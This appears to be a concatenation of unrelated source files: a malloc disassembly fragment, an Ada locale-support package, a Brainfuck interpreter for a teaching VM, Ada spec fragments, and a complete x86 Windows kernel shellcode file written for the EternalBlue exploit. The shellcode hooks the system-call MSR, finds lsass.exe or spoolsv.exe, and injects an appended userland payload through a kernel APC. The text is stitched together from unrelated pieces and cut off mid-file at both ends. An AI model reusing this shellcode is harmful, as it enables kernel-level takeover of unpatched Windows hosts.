p->s.size = nunits;
8dc: 8b 45 f4 mov -0xc(%ebp),%eax
8df: 8b 55 ec mov -0x14(%ebp),%edx
8e2: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
8e5: 8b 45 f0 mov -0x10(%ebp),%eax
8e8: a3 cc 0b 00 00 mov %eax,0xbcc
return (void*)(p + 1);
8ed: 8b 45 f4 mov -0xc(%ebp),%eax
8f0: 83 c0 08 add $0x8,%eax
8f3: eb 38 jmp 92d <malloc+0xde>
}
if(p == freep)
8f5: a1 cc 0b 00 00 mov 0xbcc,%eax
8fa: 39 45 f4 cmp %eax,-0xc(%ebp)
8fd: 75 1b jne 91a <malloc+0xcb>
if((p = morecore(nunits)) == 0)
8ff: 8b 45 ec mov -0x14(%ebp),%eax
902: 89 04 24 mov %eax,(%esp)
905: e8 ed fe ff ff call 7f7 <morecore>
90a: 89 45 f4 mov %eax,-0xc(%ebp)
90d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
911: 75 07 jne 91a <malloc+0xcb>
return 0;
913: b8 00 00 00 00 mov $0x0,%eax
918: eb 13 jmp 92d <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
91a: 8b 45 f4 mov -0xc(%ebp),%eax
91d: 89 45 f0 mov %eax,-0x10(%ebp)
920: 8b 45 f4 mov -0xc(%ebp),%eax
923: 8b 00 mov (%eax),%eax
925: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
928: e9 70 ff ff ff jmp 89d <malloc+0x4e>
}
92d: c9 leave
92e: c3 ret
|
src/asf-locales.adb | jquorning/ada-asf | 12 | 10076 | <reponame>jquorning/ada-asf
-----------------------------------------------------------------------
-- asf-locales -- Locale support
-- Copyright (C) 2009, 2010, 2011, 2012, 2013, 2015, 2017, 2021 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Strings.Vectors;
with ASF.Contexts.Faces;
with Ada.Strings.Unbounded;
package body ASF.Locales is
use Util.Properties.Bundles;
type Locale_Binding (Len : Natural) is new ASF.Beans.Class_Binding with record
Loader : Loader_Access;
Scope : ASF.Beans.Scope_Type;
Name : String (1 .. Len);
end record;
type Locale_Binding_Access is access all Locale_Binding;
procedure Create (Factory : in Locale_Binding;
Name : in Ada.Strings.Unbounded.Unbounded_String;
Result : out Util.Beans.Basic.Readonly_Bean_Access);
-- ------------------------------
-- Initialize the locale support by using the configuration properties.
-- Properties matching the pattern: <b>bundle</b>.<i>var-name</i>=<i>bundle-name</i>
-- are used to register bindings linking a facelet variable <i>var-name</i>
-- to the resource bundle <i>bundle-name</i>.
-- ------------------------------
procedure Initialize (Fac : in out Factory;
Beans : in out ASF.Beans.Bean_Factory;
Config : in Util.Properties.Manager'Class) is
Names : Util.Strings.Vectors.Vector;
Dir : constant String := Config.Get ("bundle.dir", "bundles");
begin
Config.Get_Names (Names, "bundle.var.");
Util.Properties.Bundles.Initialize (Fac.Factory, Dir);
for Name of Names loop -- I in Names'Range loop
declare
Value : constant String := Config.Get (Name);
begin
Register (Fac, Beans, Name (Name'First + 11 .. Name'Last), Value);
end;
end loop;
end Initialize;
-- ------------------------------
-- Compute the locale that must be used according to the <b>Accept-Language</b> request
-- header and the application supported locales.
-- ------------------------------
function Calculate_Locale (Fac : in Factory;
Req : in ASF.Requests.Request'Class)
return Util.Locales.Locale is
use Util.Locales;
use type ASF.Requests.Quality_Type;
procedure Process_Locales (Locale : in Util.Locales.Locale;
Quality : in ASF.Requests.Quality_Type);
Found_Locale : Util.Locales.Locale := Fac.Default_Locale;
Found_Quality : ASF.Requests.Quality_Type := 0.0;
procedure Process_Locales (Locale : in Util.Locales.Locale;
Quality : in ASF.Requests.Quality_Type) is
begin
if Found_Quality >= Quality then
return;
end if;
for I in 1 .. Fac.Nb_Locales loop
-- We need a match on the language. The variant/country can be ignored and will
-- be honored by the resource bundle.
if Fac.Locales (I) = Locale
or Get_Language (Fac.Locales (I)) = Get_Language (Locale)
then
Found_Locale := Locale;
Found_Quality := Quality;
return;
end if;
end loop;
end Process_Locales;
begin
if Fac.Nb_Locales > 0 then
Req.Accept_Locales (Process_Locales'Access);
end if;
return Found_Locale;
end Calculate_Locale;
procedure Register (Fac : in out Factory;
Beans : in out ASF.Beans.Bean_Factory;
Name : in String;
Bundle : in String) is
L : constant Locale_Binding_Access := new Locale_Binding (Len => Bundle'Length);
P : ASF.Beans.Parameter_Bean_Ref.Ref;
begin
L.Loader := Fac.Factory'Unchecked_Access;
L.Scope := ASF.Beans.REQUEST_SCOPE;
L.Name := Bundle;
ASF.Beans.Register (Beans, Name, L.all'Access, P);
end Register;
-- Load the resource bundle identified by the <b>Name</b> and for the given
-- <b>Locale</b>.
procedure Load_Bundle (Fac : in out Factory;
Name : in String;
Locale : in String;
Result : out Bundle) is
begin
Load_Bundle (Factory => Fac.Factory,
Locale => Locale,
Name => Name,
Bundle => Result);
end Load_Bundle;
-- ------------------------------
-- Get the list of supported locales for this application.
-- ------------------------------
function Get_Supported_Locales (From : in Factory)
return Util.Locales.Locale_Array is
begin
return From.Locales (1 .. From.Nb_Locales);
end Get_Supported_Locales;
-- ------------------------------
-- Add the locale to the list of supported locales.
-- ------------------------------
procedure Add_Supported_Locale (Into : in out Factory;
Locale : in Util.Locales.Locale) is
begin
Into.Nb_Locales := Into.Nb_Locales + 1;
Into.Locales (Into.Nb_Locales) := Locale;
end Add_Supported_Locale;
-- ------------------------------
-- Get the default locale defined by the application.
-- ------------------------------
function Get_Default_Locale (From : in Factory) return Util.Locales.Locale is
begin
return From.Default_Locale;
end Get_Default_Locale;
-- ------------------------------
-- Set the default locale defined by the application.
-- ------------------------------
procedure Set_Default_Locale (Into : in out Factory;
Locale : in Util.Locales.Locale) is
begin
Into.Default_Locale := Locale;
end Set_Default_Locale;
procedure Create (Factory : in Locale_Binding;
Name : in Ada.Strings.Unbounded.Unbounded_String;
Result : out Util.Beans.Basic.Readonly_Bean_Access) is
pragma Unreferenced (Name);
use type ASF.Contexts.Faces.Faces_Context_Access;
Context : constant ASF.Contexts.Faces.Faces_Context_Access := ASF.Contexts.Faces.Current;
B : constant Bundle_Access := new Bundle;
begin
if Context = null then
Load_Bundle (Factory => Factory.Loader.all,
Locale => "en",
Name => Factory.Name,
Bundle => B.all);
else
Load_Bundle (Factory => Factory.Loader.all,
Locale => Util.Locales.To_String (Context.Get_Locale),
Name => Factory.Name,
Bundle => B.all);
end if;
Result := B.all'Access;
end Create;
end ASF.Locales;
|
shellcode/eternalblue_kshellcode_x86.asm | evantoday/siapa | 736 | 24009 | ;
; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py
;
;
; Idea for Ring 0 to Ring 3 via APC from <NAME> (@zerosum0x0)
;
;
; Note:
; - The userland shellcode is run in a new thread of system process.
; If userland shellcode causes any exception, the system process get killed.
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
; get call because system call is called on other processors.
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
; This helps running exploit against same target repeatly more reliable.
; - The userland payload MUST be appened to this shellcode.
;
; Reference:
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
BITS 32
ORG 0
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
PSGETPROCESSID_HASH EQU 0x170114e1
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
PSGETTHREADTEB_HASH EQU 0xcef84c3e
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848
CREATETHREAD_HASH EQU 0x835e515e
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
DATA_MODULE_ADDR_OFFSET EQU 0x4
DATA_QUEUEING_KAPC_OFFSET EQU 0x8
DATA_EPROCESS_OFFSET EQU 0xc
DATA_KAPC_OFFSET EQU 0x10
section .text
global shellcode_start
shellcode_start:
setup_syscall_hook:
; IRQL is DISPATCH_LEVEL when got code execution
%ifdef WIN7
mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument
; set nByteProcessed to free corrupted buffer after return
mov ecx, [eax+0x14]
mov [eax+0x1c], ecx
%elifdef WIN8
%endif
pushad
call _setup_syscall_hook_find_eip
_setup_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
; read current syscall
mov ecx, 0x176
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip]
cmp eax, edi
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize
cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
je _hook_syscall
; save original syscall
mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
; first time on the target, clear the data area
; edx should be zero from rdmsr
mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0x176 affects only running processor
mov eax, edi
xor edx, edx
wrmsr
_setup_syscall_hook_done:
popad
%ifdef WIN7
xor eax, eax
%elifdef WIN8
xor eax, eax
%endif
ret 0x24
;========================================================================
; Find memory address in HAL heap for using as data area
; Arguments: ebx = any address in this shellcode
; Return: ebp = data address
;========================================================================
set_ebp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
lea ebp, [ebx + 0x1000]
shr ebp, 12
shl ebp, 12
sub ebp, 0x50 ; for KAPC struct too
ret
syscall_hook:
mov ecx, 0x23
push 0x30
pop fs
mov ds,cx
mov es,cx
mov ecx, dword [fs:0x40]
mov esp, dword [ecx+4]
push ecx ; want this stack space to store original syscall addr
pushfd
pushad
call _syscall_hook_find_eip
_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
cdq
inc edx
lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0x176
cdq
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
popad
popfd
ret
r3_to_r0_start:
;======================================
; find nt kernel address
;======================================
mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel
shr eax, 0xc ; strip to page size
shl eax, 0xc
_find_nt_walk_page:
sub eax, 0x1000 ; walk along page size
cmp word [eax], 0x5a4d ; 'MZ' header
jne _find_nt_walk_page
; save nt address
mov [ebp+DATA_MODULE_ADDR_OFFSET], eax
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov eax, PSGETCURRENTPROCESS_HASH
call win_api_direct
xchg edi, eax ; edi = EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov eax, PSGETPROCESSIMAGEFILENAME_HASH
push edi
call win_api_direct
sub eax, edi
mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+)
; if offset of ImageFilename is 0x170, current is (Win8+)
%ifdef WIN7
lea ebx, [eax+0x1c]
%elifdef WIN8
lea ebx, [eax+0x24]
%else
cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename
jne _find_eprocess_threadlist_offset_win7
add eax, 0x8
_find_eprocess_threadlist_offset_win7:
lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead
%endif
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead
mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR
; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400
_find_ethread_threadlist_offset_loop:
mov esi, dword [esi]
; if (esi - edi < 0x400) found
mov edx, esi
sub edx, eax
cmp edx, 0x400
ja _find_ethread_threadlist_offset_loop ; need unsigned comparison
push edx ; save offset of ETHREAD.ThreadListEntry to stack
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov eax, PSGETPROCESSID_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; edi = EPROCESS
; ecx = offset of EPROCESS.ImageFilename
; edx = offset of EPROCESS.ActiveProcessLinks
_find_target_process_loop:
lea esi, [edi+ecx]
call calc_hash
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
jz found_target_process
%ifndef COMPACT
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
jz found_target_process
%endif
; next process
mov edi, [edi+edx]
sub edi, edx
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save EPROCESS for finding CreateThread address in kernel KAPC routine
;======================================
mov [ebp+DATA_EPROCESS_OFFSET], edi
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea ebx, [edi+ebx] ; use ebx for iterating thread
lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address
pop edi ; edi = offset of ETHREAD.ThreadListEntry
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov ebx, [ebx+4]
; no check list head
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov eax, PSGETTHREADTEB_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f)
%ifdef WIN7
sub eax, edi
cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL
%elifdef WIN8
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%else
cmp al, 0xa0 ; win8+ offset is 0xa8
ja _kthread_queue_check
sub al, 8 ; late 5.2 to 6.1, displacement is 0xc
_kthread_queue_check:
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%endif
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
xor eax, eax
push ebp ; context
push 1 ; UserMode
push ebp ; userland shellcode (MUST NOT be NULL)
push eax ; NULL
call _init_kapc_find_kroutine
_init_kapc_find_kroutine:
add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine
push eax ; OriginalApcEnvironment
push ebx
sub [esp], edi ; ETHREAD
push esi ; KAPC
mov eax, KEINITIALIZEAPC_HASH
call win_api_direct
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code
; SystemArgument2 is third argument in usermode code
xor eax, eax
push eax
push eax ; SystemArgument2
push eax ; SystemArgument1
push esi ; PKAPC
mov eax, KEINSERTQUEUEAPC_HASH
call win_api_direct
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry
; EPROCESS pointer 4 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [eax+0xe], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [eax], eax
mov [eax+4], eax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp eax
;========================================================================
; Get function address in specific module
;
; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
pushad
mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address
xchg edi, eax ; edi = hash
mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew
mov edx, dword [ebp+eax+0x78] ; Get export tables RVA
add edx, ebp ; edx = EAT
mov ecx, dword [edx+0x18] ; NumberOfFunctions
mov ebx, dword [edx+0x20] ; FunctionNames
add ebx, ebp
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [ebx+ecx*4] ; Get rva of next module name
add esi, ebp ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
mov ebx, dword [edx+0x24]
add ebx, ebp ; ordinate table virtual address
mov cx, word [ebx+ecx*2] ; desired functions ordinal
mov ebx, dword [edx+0x1c] ; Get the function addresses table rva
add ebx, ebp ; Add the modules base address
mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA
add eax, ebp ; Add the modules base address to get the functions actual VA
mov [esp+0x1c], eax
popad
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: esi = string to hash
; Clobber: esi
; Return: eax = hash
;========================================================================
calc_hash:
push edx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop edx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
; reorder stack to make everything easier
pop eax
mov [esp+0x10], eax ; move saved eip to &SystemArgument2
pop eax ; PKAPC (unused)
pop ecx ; &NormalRoutine
pop eax ; &NormalContext
pop edx ; &SystemArgument1
pushad
push edx ; &SystemArgument1 (use for set CreateThread address)
push ecx ; &NormalRoutine
mov ebp, [eax] ; *NormalContext is our data area pointer
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
cdq
mov al, 0x40 ; eax = 0x40
push eax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push eax ; MEM_COMMIT = 0x1000
push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack)
push edx ; ZeroBits
mov [ecx], edx
push ecx ; baseAddr = 0
dec edx
push edx ; ProcessHandle = -1
mov eax, ZWALLOCATEVIRTUALMEMORY_HASH
call win_api_direct
%ifndef COMPACT
test eax, eax
jnz _kernel_kapc_routine_exit
%endif
;======================================
; copy userland payload
;======================================
pop eax
mov edi, [eax]
call _kernel_kapc_routine_find_userland
_kernel_kapc_routine_find_userland:
pop esi
add esi, userland_start-_kernel_kapc_routine_find_userland
mov ecx, 0x400 ; fix payload size to 1024 bytes
rep movsb
;======================================
; find current PEB
;======================================
mov eax, [ebp+DATA_EPROCESS_OFFSET]
push eax
mov eax, PSGETPROCESSPEB_HASH
call win_api_direct
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov eax, [eax + 0xc] ; PEB->Ldr
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
%ifdef COMPACT
mov esi, [eax] ; first one always be executable, skip it
lodsd ; skip ntdll.dll
%else
_find_kernel32_dll_loop:
mov eax, [eax] ; first one always be executable
; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x28 => is name
; offset 0x10 => is dllbase
;cmp word [eax+0x1c], 0x40
;jne _find_kernel32_dll_loop
cmp word [eax+0x24], 0x18
jne _find_kernel32_dll_loop
mov edx, [eax+0x28]
; check only "32" because name might be lowercase or uppercase
cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
%endif
mov ebx, [eax+0x10]
mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx
mov eax, CREATETHREAD_HASH
call get_proc_addr
; save CreateThread address to SystemArgument1
pop ecx
mov [ecx], eax
_kernel_kapc_routine_exit:
xor eax, eax
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al
; restore IRQL to APC_LEVEL
inc eax
mov byte [fs:0x24], al
popad
ret
userland_start:
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
pop edx ; saved eip
pop eax ; first argument (NormalContext)
pop eax ; CreateThread address passed from kernel
pop ecx ; another argument (NULL) passed from kernel
push ecx ; lpThreadId = NULL
push ecx ; dwCreationFlags = 0
push ecx ; lpParameter = NULL
call _userland_start_thread_find_payload
_userland_start_thread_find_payload:
add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr
push ecx ; dwStackSize = 0
push ecx ; lpThreadAttributes = NULL
push edx ; restore saved eip
jmp eax
userland_payload:
|
VM-bf-inception/abac00s/VM-bf-inception.asm | foralost/zrozumiec-programowanie-cwiczenia | 29 | 18738 | <reponame>foralost/zrozumiec-programowanie-cwiczenia<gh_stars>10-100
; Interpreter jezyka Brainfuck, rozwiazanie cwiczenia [VM:bf-inception]
; Autor: <NAME> (abac00s)
;
;The MIT License (MIT)
;Copyright (c) 2016 <NAME>
;
;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation file
;(the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge,
;publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do
;so, subject to the following conditions:
;
;The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
;
;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
;MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
;FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
;WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
;
;Uwaga! Program wpisujemy na stdin (powinien byc zalonczony [LF]), a nie ładujemy z pliku.
;
;Testowe programy:
;
; ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.
; Wyswietla "Hello World"
;
; ,.
; Wyswietla wpisany przed chwila znak
;
; ,--------------------------------.
; Zmienia mala litere na wielka.
%include "vm.inc"
%define PROG_SIZE 1000
%define MEM_SIZE 1000
vset r0, prog
vset r1, brack
vset r13, mem
;wczytaj program -----------------------------
vxor r2, r2
vset r3, 0xa
vset r4, 1
loop1:
vinb 0x21, r2
vcmp r2, r4
vjne loop1
loop2:
vinb 0x20, r2
vcmp r2, r3
vje endloop2
vstb r0, r2
vadd r0, r4
vjmp loop2
endloop2:
vset r0, prog
;---------------------------------------------
;znajdz odpowiadajace nawiasy ------------------------------
vxor r3, r3
vset r11, '['
vset r12, ']'
vset r5, prog
vset r8, 4
loop3:
vldb r2, r0
vcmp r2, r3
vje endloop3
vcmp r2, r11
vjne addr
vmov r6, r0
vsub r6, r5
vpush r6
addr:
vcmp r2, r12
vjne addr1
vpop r7
vmov r6, r0
vsub r6, r5
vmul r6, r8
vadd r1, r6
vdiv r6, r8
vst r1, r7
vset r1, brack
vmul r7, r8
vadd r1, r7
vst r1, r6
vset r1, brack
addr1:
vadd r0, r4
vjmp loop3
endloop3:
vset r0, prog
;--------------------------------------------
;wykonuj ------------------------------------
vset r12, prog
loop4:
vldb r2, r0
vcmp r2, r3
vje endloop4
vset r5, '>'
vcmp r2, r5
vjne addr2
vadd r13, r4
vadd r0, r4
vjmp loop4
addr2:
vset r5, '<'
vcmp r2, r5
vjne addr3
vsub r13, r4
vadd r0, r4
vjmp loop4
addr3:
vset r5, '+'
vcmp r2, r5
vjne addr4
vldb r6, r13
vadd r6, r4
vstb r13, r6
vadd r0, r4
vjmp loop4
addr4:
vset r5, '-'
vcmp r2, r5
vjne addr5
vldb r6, r13
vsub r6, r4
vstb r13, r6
vadd r0, r4
vjmp loop4
addr5:
vset r5, '['
vcmp r2, r5
vjne addr6
vldb r6, r13
vcmp r6, r3
vjne addr7
vmov r11, r0
vsub r11, r12
vmul r11, r8
vadd r1, r11
vld r6, r1
vadd r6, r12
vmov r0, r6
vadd r0, r4
vset r1, brack
vjmp loop4
addr7:
vadd r0, r4
vjmp loop4
addr6:
vset r5, ']'
vcmp r2, r5
vjne addr8
vmov r11, r0
vsub r11, r12
vmul r11, r8
vadd r1, r11
vld r6, r1
vadd r6, r12
vmov r0, r6
vset r1, brack
vjmp loop4
addr8:
vset r5, '.'
vcmp r2, r5
vjne addr9
vldb r6, r13
voutb 0x20, r6
vadd r0, r4
addr9:
vset r5, ','
vcmp r2, r5
vjne addr10
loop5:
vinb 0x21, r6
vcmp r6, r3
vje loop5
vinb 0x20, r6
vstb r13, r6
vadd r0, r4
addr10:
vjmp loop4
endloop4:
voff
;--------------------------------------------------------
;przestrzen do zaladowania programu
prog:
times PROG_SIZE+1 db 0
;aby przyspieszyc skoki miedzy nawiasami, w tej tablicy każedemu znakowi w programie, jeśli jest on nawiasem,
;przypisywana jest pozycja odpowiadajacego nawiasu
brack:
times PROG_SIZE dd 0
;pamiec do wykorzystania przez program
mem:
times MEM_SIZE db 0
|
kv-avm-references.ads | davidkristola/vole | 4 | 10260 | <gh_stars>1-10
with Interfaces;
package kv.avm.References is
pragma preelaborate;
Invalid_Reference_Designator_Error : exception;
-- This enumerates the four different types of register banks.
-- Note that "Constant" can't be used because it is an Ada
-- reserved word. Therefore "Fixed" is used instead.
--
type Register_Bank_Type is (Input, Local, Attribute, Fixed);
for Register_Bank_Type'SIZE use 2; -- 2 bits
type Offset_Type is mod 2**10; -- 10 bits
-- This has to be 12 bits so that four of them can be packed into
-- an instruction.
--
type Reference_Type is
record
Memory : Register_Bank_Type;
Index : Offset_Type;
end record;
for Reference_Type use
record
Memory at 0 range 0 .. 1;
Index at 0 range 2 .. 11;
end record;
for Reference_Type'SIZE use 12;
type Reference_Array_Type is array (Interfaces.Unsigned_32 range <>) of Reference_Type;
type Reference_Array_Access is access all Reference_Array_Type;
function Ref_Img(Ref : Reference_Type) return String;
function Make_Register_Name
(Index : Natural;
Bank : Register_Bank_Type) return String;
function Make_Reference(Token : String) return Reference_Type;
end kv.avm.References;
|
math_2d-types.ads | io7m/coreland-math_2d | 1 | 481 | <gh_stars>1-10
with Ada.Numerics.Generic_Real_Arrays;
with Ada.Numerics.Generic_Elementary_Functions;
generic
type Real_Type is digits <>;
package Math_2D.Types is
